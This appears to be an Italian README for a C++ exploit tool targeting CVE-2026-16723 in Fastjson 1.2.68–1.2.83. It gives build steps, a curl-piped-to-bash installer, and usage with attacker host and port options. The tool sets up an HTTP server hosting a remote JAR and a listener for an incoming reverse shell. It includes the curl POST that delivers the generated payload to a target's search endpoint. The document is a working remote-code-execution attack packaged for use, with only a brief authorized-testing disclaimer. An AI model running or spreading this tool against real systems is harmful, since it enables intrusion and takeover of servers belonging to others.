CVE-2026-16723 Exploit

Un'implementazione autonoma in C++17 per CVE-2026-16723, una vulnerabilità critica che interessa le versioni 1.2.68 – 1.2.83 di Fastjson.

Requisiti

• Linux (o WSL su Windows)

• Compilatore compatibile con C++17 (GCC 7+ o Clang 5+)

• CMake 3.10 o successivo

• Pacchetti di sistema:

  • libzip-dev
  • zlib1g-dev

Debian / Ubuntu

sudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev

Installazione

Installazione rapida (consigliata)

Installa tutto con un singolo comando:

curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash

Oppure scarica ed esegui manualmente l'installer:

wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh

Lo script di installazione:

• Installerà tutti i pacchetti di sistema richiesti.

• Scaricherà le librerie header-only richieste:

  • nlohmann/json
  • cpp-httplib

• Compilerà il progetto.

• Inserirà il binario compilato nella directory corrente come:

./exploit

Build manuale

Se hai clonato il repository:

git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh

Oppure compila manualmente:

mkdir build
cd build

cmake ..
make -j$(nproc)

cp exploit ../

Utilizzo

Esegui il binario:

./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]

Esempio

./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000

Dopo l'esecuzione verranno creati i seguenti file:

x
body.json

Il server HTTP si avvierà sulla porta configurata (predefinita: 8000) e lo strumento attenderà una connessione reverse shell in entrata.

Invio del Payload

Invia il file body.json generato all'endpoint vulnerabile:

curl -X POST http://<TARGET_IP>:8080/api/products/search \
     -H "Content-Type: application/json" \
     --data-binary @body.json

Se l'applicazione prevede un campo JSON diverso, specificarlo usando l'opzione --field.

Opzioni della riga di comando

File di output

Note

• Questo progetto è destinato esclusivamente a test di sicurezza autorizzati e a scopi educativi.
• L'implementazione forza l'applicazione target a scaricare e caricare un JAR remoto utilizzando i protocolli jar:http e jar:file.
• Il comando della reverse shell è codificato in Base64 per ridurre i problemi di escaping.

Seguimi su Twitter(X)

• MNM